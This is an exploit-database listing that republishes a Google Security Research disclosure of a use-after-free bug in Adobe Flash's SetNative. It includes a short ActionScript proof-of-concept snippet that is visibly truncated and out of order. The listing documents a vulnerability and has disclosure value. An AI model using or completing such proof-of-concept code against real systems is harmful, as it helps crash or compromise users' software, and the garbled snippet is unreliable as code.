Adobe Flash - SetNative Use-After-Free

ID 1337DAY-ID-26014
Type zdt
Reporter Google Security Research
Modified 2016-05-17T00:00:00


Exploit for windows platform in category dos / poc

There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:
var t = this.createEmptyMovieClip("t", 1);"a", func);
ASSetNative(t, 106, "a,b");
function func (){
A swf and fla are attached.
Proof of Concept:

# [2018-04-02]  #